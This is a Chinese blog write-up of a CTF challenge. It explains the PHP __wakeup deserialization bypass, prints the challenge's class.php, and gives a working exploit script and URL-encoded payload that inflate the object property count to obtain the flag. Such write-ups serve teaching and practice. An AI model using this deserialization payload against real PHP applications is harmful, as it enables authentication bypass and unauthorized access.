NO.16 [极客大挑战 2019]PHP

本文探讨了PHP中__wakeup函数的使用及其潜在的漏洞,通过实例展示了如何利用序列化字符串控制对象属性执行,以及如何构造payload绕过username检查获取flag。涉及的知识点包括反序列化、魔术方法和漏洞利用技巧。
摘要由CSDN通过智能技术生成

知识点

__wakeup()函数用法:
wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法
wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。

解题过程

网站的首页是一只可爱的猫猫,挪动鼠标猫猫会跟着转头,很好玩!

网页中提到了备份网站,因此可以尝试使用一个网站备份文件名的字典来进行爆破,发现网站中有www.zip文件。

下载下来发现文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串错了,果然只是个备份!

分析index.php发现:

这里很可能考察反序列化,查看文件中包含的class.php文件。

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

分析代码可知在执行destruct魔术方法的时候,如果用户名为admin,密码为100则可以输出flag的值。

但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。

exp

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

payload及结果

http://82296a94-13ea-4f20-8bfd-622d9c3787d7.node3.buuoj.cn/index.php?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"Nameusername"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"Namepassword"%3Bs%3A3%3A"100"%3B}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值